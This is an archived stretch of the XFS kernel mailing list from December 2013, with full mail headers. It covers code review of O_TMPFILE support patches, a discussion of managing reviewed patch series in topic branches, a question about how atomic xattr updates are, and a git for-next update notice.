X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs: add xfs_create_tmpfile() for O_TMPFILE support To: Christoph Hellwig Cc: xfstests , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f180.google.com[209.85.214.180] X-Barracuda-Start-Time: 1386955798 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Fixed them, thanks. On Sat, Dec 14, 2013 at 12:37 AM, Christoph Hellwig wrote: >> + error = xfs_dir_ialloc(&tp, NULL, mode, 0, rdev, > > please pass the parent inode pointer here. > >> + XFS_PROJID_DEFAULT, resblks > 0, > > and pass the project id that you inherited from the parent here. > -- Regards, Zhi Yong Wu From zwu.kernel@gmail.com Fri Dec 13 11:30:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B16429DF8 for ; Fri, 13 Dec 2013 11:30:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1B0718F8064 for ; Fri, 13 Dec 2013 09:30:38 -0800 (PST) X-ASG-Debug-ID: 1386955804-04cbb04169716820001-NocioJ Received: from mail-ob0-f169.google.com (mail-ob0-f169.google.com [209.85.214.169]) by cuda.sgi.com with ESMTP id FNSs7vBH9FOdU2Tj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 13 Dec 2013 09:30:07 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.169 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.169] Received: by mail-ob0-f169.google.com with SMTP id wm4so2285046obc.28 for ; Fri, 13 Dec 2013 09:29:29 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.169] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.169] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=JGQKQ1gypJK/vDxgUyikUCXas8QIkz5k98d7xEJyjRw=; b=oK7IDJjHrXu+sJLedw7jfkrmFhheymNavEREFaduBnQopjQqb9jOqTQgpXZ3ZpAB06 WVZXYPG6z1goIupz8HVLXVQZ/v5pLK7+yeblUsdYw47lhuLgdBTf9cAzBlwgW6f/w4mG V7oHYaFB+RtS5l4p25isuv3xBdtWYOBS5rkuHOboViWrbHKJnGHqp5fyWdxCcZY0Bgue cvaQbF7I+ZApuqI5nRfzvIP8mqY04vEZ7U/3yPFmG5a332dCqarn+m46GMF2HECPLKOG hoCrqG3XuwVrxFcMHtxWcjlzPEFH/yJdiSbTDKGMJtXyi5uMUmWINB/V0mMWQmEOugF+ eqKg== MIME-Version: 1.0 X-Received: by 10.182.72.234 with SMTP id g10mr2465835obv.21.1386955769051; Fri, 13 Dec 2013 09:29:29 -0800 (PST) Received: by 10.182.248.201 with HTTP; Fri, 13 Dec 2013 09:29:28 -0800 (PST) In-Reply-To: <20131213163230.GE20803@infradead.org> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-3-git-send-email-zwu.kernel@gmail.com> <20131213163230.GE20803@infradead.org> Date: Sat, 14 Dec 2013 01:29:28 +0800 Message-ID: Subject: Re: [PATCH 2/5] xfs: adjust the interface of xfs_qm_vop_dqalloc() From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: adjust the interface of xfs_qm_vop_dqalloc() To: Christoph Hellwig Cc: xfstests , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f169.google.com[209.85.214.169] X-Barracuda-Start-Time: 1386955807 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Dec 14, 2013 at 12:32 AM, Christoph Hellwig wrote: > On Fri, Dec 13, 2013 at 10:27:50PM +0800, Zhi Yong Wu wrote: >> From: Zhi Yong Wu >> >> There may be not a parent inode or a name for O_TMPFILE support, but will pass >> a struct xfs_mount to xfs_qm_vop_dqalloc(). So its interface need to be >> adjusted in order that O_TMPFILE creation function can also use it. >> >> Signed-off-by: Zhi Yong Wu > > This patch is not actually needed, as we do get passed a parent. Discarded, thanks. > -- Regards, Zhi Yong Wu From zwu.kernel@gmail.com Fri Dec 13 11:32:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA3B37F4E for ; Fri, 13 Dec 2013 11:32:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A07588F8065 for ; Fri, 13 Dec 2013 09:32:54 -0800 (PST) X-ASG-Debug-ID: 1386955929-04cbb04167716950001-NocioJ Received: from mail-ob0-f177.google.com (mail-ob0-f177.google.com [209.85.214.177]) by cuda.sgi.com with ESMTP id bwl5GfVoT4k3WTKE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 13 Dec 2013 09:32:11 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] Received: by mail-ob0-f177.google.com with SMTP id vb8so2267782obc.22 for ; Fri, 13 Dec 2013 09:32:09 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=16LsZ9iw0ncRoDNONsz18+eteDyX+V7CwqsASIyNSLY=; b=i2jL0QSLufauom5MYuZNkKGJYdvhVOgj6Pm4KsPuEdCYDN6L06fbJBXw9ZOPv4LaKv MXqO79mLRyi61v9k98lMvVCPlk81mZ6wSBhOYU7bxhX54/3YCC4908ojz+c/Wu1bfdIO q08kUL6CRKlUh3uYjDIt++T/maxnZaqZ1X7scSQ/1zzvMXv8ki+U9d6CTfJSZHKkQygU AmZnJkbOgLybYUgK8wWvhaNlxIdrtDo/K4UD3e/J7/HS8AUwPanxSghu6q1q+8+ENvGW +iBZ8CHt7UQajtiMSLiRR6ESsP3pMJkBexk3jNW4A4SIU9/GMfjSaCHWrprA6tmC+K2v 7hdg== MIME-Version: 1.0 X-Received: by 10.182.144.136 with SMTP id sm8mr2479141obb.63.1386955929044; Fri, 13 Dec 2013 09:32:09 -0800 (PST) Received: by 10.182.248.201 with HTTP; Fri, 13 Dec 2013 09:32:08 -0800 (PST) In-Reply-To: <20131213163916.GG20803@infradead.org> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-5-git-send-email-zwu.kernel@gmail.com> <20131213163916.GG20803@infradead.org> Date: Sat, 14 Dec 2013 01:32:08 +0800 Message-ID: Subject: Re: [PATCH 4/5] xfs: add a new method xfs_vn_tmpfile() From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: add a new method xfs_vn_tmpfile() To: Christoph Hellwig Cc: xfstests , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f177.google.com[209.85.214.177] X-Barracuda-Start-Time: 1386955931 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Dec 14, 2013 at 12:39 AM, Christoph Hellwig wrote: > On Fri, Dec 13, 2013 at 10:27:52PM +0800, Zhi Yong Wu wrote: >> From: Zhi Yong Wu >> >> Add a new O_TMPFILE method to VFS inteface. >> For more info, please refer to: >> http://oss.sgi.com/archives/xfs/2013-08/msg00336.html >> >> Signed-off-by: Zhi Yong Wu >> --- >> fs/xfs/xfs_iops.c | 22 ++++++++++++++++++++++ >> 1 files changed, 22 insertions(+), 0 deletions(-) >> >> diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c >> index eb55be5..b57cd89 100644 >> --- a/fs/xfs/xfs_iops.c >> +++ b/fs/xfs/xfs_iops.c >> @@ -39,6 +39,7 @@ >> #include "xfs_da_btree.h" >> #include "xfs_dir2_priv.h" >> #include "xfs_dinode.h" >> +#include "xfs_trans_space.h" >> >> #include >> #include >> @@ -1051,6 +1052,25 @@ xfs_vn_fiemap( >> return 0; >> } >> >> +STATIC int >> +xfs_vn_tmpfile( >> + struct inode *dir, >> + struct dentry *dentry, >> + umode_t mode) >> +{ >> + struct xfs_inode *ip = NULL; >> + int error; >> + >> + error = xfs_create_tmpfile(XFS_I(dir), XFS_I(dir)->i_mount, > > No need to pass in the mount point here, the client can get it easily. > >> + mode, 0, &ip); > > Also no need for an always-zero argument. Fixed, thanks. > >> + if (error) >> + return -error; >> + >> + d_instantiate(dentry, VFS_I(ip)); > > Shouldn't this be a call to d_tmpfile() instead? Yes, then it need to be called in xfs_create_tmpfile() just before xfs_iunlink() is called. > > Also I'd suggest mergin this into the previous patch, so that we have > one that actually adds O_TMPFILE support, and once place to write a nice Merged them, thanks. > good changelog. -- Regards, Zhi Yong Wu From zwu.kernel@gmail.com Fri Dec 13 11:36:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 187C77F4E for ; Fri, 13 Dec 2013 11:36:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F1FFC8F8049 for ; Fri, 13 Dec 2013 09:36:54 -0800 (PST) X-ASG-Debug-ID: 1386956208-04cb6c537c717530001-NocioJ Received: from mail-oa0-f48.google.com (mail-oa0-f48.google.com [209.85.219.48]) by cuda.sgi.com with ESMTP id yHBWFKyivLxIX4xC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 13 Dec 2013 09:36:48 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.48 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.48] Received: by mail-oa0-f48.google.com with SMTP id l6so2398160oag.21 for ; Fri, 13 Dec 2013 09:36:47 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.48] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.48] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=HASRkXwUYu0W1zp7FOlZ6Vj5vhfM16Z9UuOGgR/TuT0=; b=mczNdBNqFBuKa1lZrJNPeaKb7pftNIdnFEyIUEpRdczcDH4v0cYHCnta2ukGvzohSp 2BS1HzhPuCVAmJLlEU5wYNvBgbomewc3Mkm1B2LWj1q2LICbVGMusfIZIqfkYv8NDvlK KYjd4dXyrNJ/SkkX/nr7QuiQzOa9guWBtcCveYemGtxPy7z02/f0/B3HTQsej88Ro4Xk WpftPb1muvIR5pLQBvzm1ssJpBSfIV5T0XJ+7lNXRGM+uH+HNthjlf2phL9XR4bIrltz njoSd55LFDLgBotwqqzX5STBddXttgS8guGV6jjNHPOVZIc70Sud/uBNG9BdarHxDGuo Htgw== MIME-Version: 1.0 X-Received: by 10.182.22.18 with SMTP id z18mr2492554obe.42.1386956207824; Fri, 13 Dec 2013 09:36:47 -0800 (PST) Received: by 10.182.248.201 with HTTP; Fri, 13 Dec 2013 09:36:47 -0800 (PST) In-Reply-To: <20131213164154.GH20803@infradead.org> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-6-git-send-email-zwu.kernel@gmail.com> <20131213164154.GH20803@infradead.org> Date: Sat, 14 Dec 2013 01:36:47 +0800 Message-ID: Subject: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files To: Christoph Hellwig Cc: xfstests , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f48.google.com[209.85.219.48] X-Barracuda-Start-Time: 1386956208 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Dec 14, 2013 at 12:41 AM, Christoph Hellwig wrote: > On Fri, Dec 13, 2013 at 10:27:53PM +0800, Zhi Yong Wu wrote: >> From: Zhi Yong Wu >> >> Enable O_TMPFILE support in linkat(). >> For more info, please refer to: >> http://oss.sgi.com/archives/xfs/2013-08/msg00341.html > > Generall you should provide all reasonable information in the changelog > instead of linking to it. will apply this, thanks. > >> + if (sip->i_d.di_nlink == 0) >> + tres = &M_RES(mp)->tr_link_tmpfile; >> + else >> + tres = &M_RES(mp)->tr_link; > > As mentioned before I think Dave wanted you to always use the same > reservation, but I'll leave that discussion to him. If as you said, when some tons of regular files are created, it won't waste some disk space? e.g. some files want to reserve some space, but get NOSPACE due to other files reserving additional space? > >> +/* For creating a link to an O_TMPFILE inode, except modifying >> + * those metadata for regular inode, we still need to remove an inode >> + * from unlinked list at first. That is, we can modify: >> + * the agi hash list and counters: sector size >> + * the on disk inode before ours in the agi hash list: inode cluster size >> + */ > > We always have an emptry content Done, thanks. > > /* > > line at the beginning of comments in XFS and the Linux kernel in > general. > -- Regards, Zhi Yong Wu From bpm@sgi.com Fri Dec 13 12:56:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 33AC77F52 for ; Fri, 13 Dec 2013 12:56:31 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 19BC58F8049; Fri, 13 Dec 2013 10:56:19 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DCD154266DC; Fri, 13 Dec 2013 12:56:18 -0600 (CST) Date: Fri, 13 Dec 2013 12:56:18 -0600 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131213185618.GJ1935@sgi.com> References: <20131213053611.GQ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213053611.GQ10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Dave, On Fri, Dec 13, 2013 at 04:36:11PM +1100, Dave Chinner wrote: > I'd like to make a proposal and see what people think abou tit for > managing patch series that I have been reviewed. > > What I'd like to do is publish the reviewed and signed-off topic > branches that I built as in my local git tree as part of the review > and test process. For example, I currently have two such branches > right now - one for Christoph's log format changes, and another for > Jeff's icluster cleanups. > > That is: > > $ git shortlog xfs-oss/master..guilt/tip-log-format > Christoph Hellwig (10): > xfs: remove duplicate code in xlog_cil_insert_format_items > xfs: refactor xfs_buf_item_format_segment > xfs: refactor xfs_inode_item_size > xfs: refactor xfs_inode_item_format > xfs: introduce xlog_copy_iovec > xfs: format log items write directly into the linear CIL buffer > xfs: format logged extents directly into the CIL > xfs: remove the inode log format from the inode log item > xfs: remove the dquot log format from the dquot log item > xfs: remove the quotaoff log format from the quotaoff log item > > $ git shortlog xfs-oss/master..guilt/tip-icluster-factor > Jie Liu (8): > xfs: get rid of XFS_IALLOC_INODES macros > xfs: get rid of XFS_INODE_CLUSTER_SIZE macros > xfs: get rid of XFS_IALLOC_BLOCKS macros > xfs: introduce a common helper xfs_icluster_size_fsb > xfs: use xfs_icluster_size_fsb in xfs_bulkstat > xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init > xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster > xfs: use xfs_icluster_size_fsb in xfs_imap > > These branches are all based on the master branch as it currently > stands. They have had each patch individually compile tested, they > have been individually tested, and they've been merged into a test > tree and tested along with every other branch I'm currently working > on. > > What I'd like to do is publish each of the reviewed branch in the > XFS git repos on oss.sgi.com as completed and ready-to-go code. This > is a bit different to what we do now - normally Ben would come along > and merge the series straight into the master branch, then update > the for-next branch to point at it. Yes, normally I'd merge those series right about now. ;) > The issue with this is that it then makes our lives more difficult > when we get a bug fix that has to go into the master branch and be > sent to linus for an -rc kernel before all the development code that > is already checked into the master branch. Yeah, that's the same issue we have during the merge window. You can't pull stuff into the master branch until after Linus has pulled and you've pulled back if you want a fast-forward merge the next time around. If you do pull stuff in during the window you get a merge commit that screws up the history graph. The workaround in later -rc requests is to cherry-pick (AKA rebase) the bugfixes back onto the latest commit that Linus has pulled, and then there are duplicate commits that we pull back from mainline after the next merge window closes. It's not the prettiest thing, but better than screwing up the graph. > What I propose is that the xfs-oss/master branch tracks the Linus > -rc1 releases, and we never check code directly into the master > branch except in exceptional circumstances. i.e. we try to only > ever pull back down from Linus into it. Exceptional circumstances > would be work that causes widespread rebasing, like all of the > structural rework that we've done recently. The structural work > would go into the master branch immediately after a -rc1 update, and > the next cycle's work and topic branches then based on top of that. > > What this means is that the "for-next" branch is no longer based > on the master branch - it becomes the development branch we work on, > and is effectively a merge of all the topic branches. i.e like the > -next tree, it is a branch that can be rebased without impacting the > history of the code in the topic branches because it's just a merge > target. > > What this means is that development can be done against the master > branch without fear of conflicting with other changes that are being > done. Testing, however, can target the for-next branch, and local > integration testing can be done simply by merging a local topic > branch into a local for-next branch.... I'm not too keen on rebasing a published branch, mostly because I tend to log test results by commit id. If there is a way to keep the initial commit id stable and in the repo so it can be referenced later it would be better. e.g. In the [unlikely] event that the for-next branch does need to be rebased, tag it first. > Lines of development that overlap will generate conflicts at > the for-next branch merge, and at that point we can decide how to > deal with the problem. e.g. turn the conflicting topic branches into > a single, larger topic branch, live with it, etc. > > When it comes to sending code upstream to Linus, we can either send > a pull request per topic branch - Linus often likes to do merges > himself - or we can merge them all into a single branch and ask > Linus to pull that. The deciding factor may well be Linus himself... If you take a look at merges into mainline using gitweb they look like this: Merge branch 'for-linus' of git://git./linux/kernel... I suggest that the topic branches start with xfs. e.g. 'xfs-refactor-icluster-macros' would be better than 'tip-icluster-factor'. > However, what this structure means is that urgent bugs fixes canbe > placed into their own topic branches - an "urgent-*" prefix is often > used for these by other maintainers - and Linus can pull directly > from the topic branch without us having to worry about > cherry-picking out of the middle of the master branch and all the > pain that entails. Cherry-picking is not all that painful, but a a 'misc' branch, or 'urgent' seems fine to me too. I do prefer an xfs- prefix and to send signed tags in pull requests... > It also allows us much more flexibility in managing the > code and how it is send upstream. It also makes it possible to push > code earlier for wider testing without being stuck with that code > forever - it's trivial to drop a topic branch if it causes > unexpected regressions or problems without leaving nasty reverts all > over the history. > > Yes, this is a bit of a change in the way we do things, but it > aligns much more closely to the distributed nature of how we develop > the code. I'm going to push the two topic branches I mentioned above > into the oss repository so people can have a look at them and get a > feel for how such a process might work and so we can reference them > during the discussion. Lets see if I understand correctly (and I'll take some of my own advice from above). I'll pull 'tip-icluster-factor' into a local branch named 'xfs-refactor-icluster-macros', and merge it into our for-next branch along with the other series. This will get them into -next, and we can still toss it later if it's not what you had in mind. > Essentially, I want to speed up the rate at which we get code > integrated without the risk of making a big mess by committing to > code too quickly. Keeping code in topic branches like this solves > that problem, and the fact that it closely aligns to my normal > workflow makes it very appealing to me as a Maintainer.... > > Keep in mind that I want to do the same thing for major pieces of > work with xfstests and xfsprogs - keep work in topic branches until > they are tested and ready to go, then merge everything into the master > branch and cut a release. This would enable a much faster xfsprogs > release schedule because we make a release at any point in time > without having to worry about whether we have work in progress in > the master branch that needs completing before a release is done... Yeah, that's interesting in light of Christoph's suggestion for a 3.1.12 release. Probably we should try this on the kernel repo for awhile to see how it goes. > Anyway, have a think and discuss - I'm going to push the branches I > mentioned above.... I've been tracking message id and patchwork id in git notes along with commits for awhile. I'm hoping this will become useful later for cross referencing the list, patchworks, and test results. If you wouldn't mind also doing so I'd appreciate it. Maybe it could be done with a post-commit script or something. Regards, Ben From bpm@sgi.com Fri Dec 13 13:53:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B02767F52 for ; Fri, 13 Dec 2013 13:53:26 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6E3AD304043 for ; Fri, 13 Dec 2013 11:53:17 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DFA094266DC; Fri, 13 Dec 2013 13:52:46 -0600 (CST) Date: Fri, 13 Dec 2013 13:52:46 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: xattr atomicy Message-ID: <20131213195246.GK1935@sgi.com> References: <20131213115644.GA28551@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213115644.GA28551@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Christoph, On Fri, Dec 13, 2013 at 03:56:44AM -0800, Christoph Hellwig wrote: > On the nfsv4 list it was recently discussed how atomic / transaction > xattr updates are. It turns out none of that seems documented on the > syscall level, but for XFS we have an odd inconsistancy in that attr > updates generally are atomic and logged, except when we go out to > remote attributes in xfs_attr_rmtval_set, in which case attr updates > are no logged, and we do synchronous writes instead. > > Besides the weird semantic difference that is impossible to explain to > users performance will also generally be bad with a synchronous buffer > write. Is there any good reason to not log the buffer for the remote > attributes? Given that attribute are limited to 64kB it's not like > the value is larger than large directory blocks that we already > support. Looks like it's just because we're concerned about the size of the transaction: 1221 STATIC int 1222 xfs_attr_node_addname(xfs_da_args_t *args) 1223 { ... 1359 /* 1360 * If there was an out-of-line value, allocate the blocks we 1361 * identified for its storage and copy the value. This is done 1362 * after we create the attribute so that we don't overflow the 1363 * maximum size of a transaction and/or hit a deadlock. 1364 */ 1365 if (args->rmtblkno > 0) { 1366 error = xfs_attr_rmtval_set(args); 1367 if (error) 1368 return(error); 1369 } I'm not clear on what the deadlock might have been. -Ben From bpm@oss.sgi.com Fri Dec 13 14:22:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 3A4057F53; Fri, 13 Dec 2013 14:22:13 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. v3.12-11704-g46f23ad X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: f9b395a8ef8f34d19cae2cde361e19c96e097fad X-Git-Newrev: 46f23adf78545c49591619a615edeec41ed5a549 Message-Id: <20131213202213.3A4057F53@oss.sgi.com> Date: Fri, 13 Dec 2013 14:22:11 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 46f23ad Merge branch 'xfs-factor-icluster-macros' into for-next f9e5abc xfs: use xfs_icluster_size_fsb in xfs_imap 982e939 xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster 6e0c7b8 xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init a2ba07b xfs: use xfs_icluster_size_fsb in xfs_bulkstat 904957b xfs: introduce a common helper xfs_icluster_size_fsb 126cd10 xfs: get rid of XFS_IALLOC_BLOCKS macros 0f49efd xfs: get rid of XFS_INODE_CLUSTER_SIZE macros 7178343 xfs: get rid of XFS_IALLOC_INODES macros ffda4e8 xfs: remove the quotaoff log format from the quotaoff log item ce8e962 xfs: remove the dquot log format from the dquot log item 2f25129 xfs: remove the inode log format from the inode log item da77650 xfs: format logged extents directly into the CIL bde7cff xfs: format log items write directly into the linear CIL buffer 1234351 xfs: introduce xlog_copy_iovec 3de559f xfs: refactor xfs_inode_item_format ce9641d xfs: refactor xfs_inode_item_size 7aeb722 xfs: refactor xfs_buf_item_format_segment 9597df6 xfs: remove duplicate code in xlog_cil_insert_format_items from f9b395a8ef8f34d19cae2cde361e19c96e097fad (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 46f23adf78545c49591619a615edeec41ed5a549 Merge: ffda4e8 f9e5abc Author: Ben Myers Date: Fri Dec 13 14:15:33 2013 -0600 Merge branch 'xfs-factor-icluster-macros' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_buf_item.c | 103 ++++++------ fs/xfs/xfs_dquot_item.c | 67 +++----- fs/xfs/xfs_dquot_item.h | 3 +- fs/xfs/xfs_extfree_item.c | 21 +-- fs/xfs/xfs_ialloc.c | 53 +++--- fs/xfs/xfs_ialloc.h | 21 +-- fs/xfs/xfs_icreate_item.c | 10 +- fs/xfs/xfs_inode.c | 23 +-- fs/xfs/xfs_inode_fork.c | 15 +- fs/xfs/xfs_inode_item.c | 400 +++++++++++++++++++--------------------------- fs/xfs/xfs_inode_item.h | 5 - fs/xfs/xfs_itable.c | 22 ++- fs/xfs/xfs_log.h | 46 ++++++ fs/xfs/xfs_log_cil.c | 74 +++------ fs/xfs/xfs_log_recover.c | 16 +- 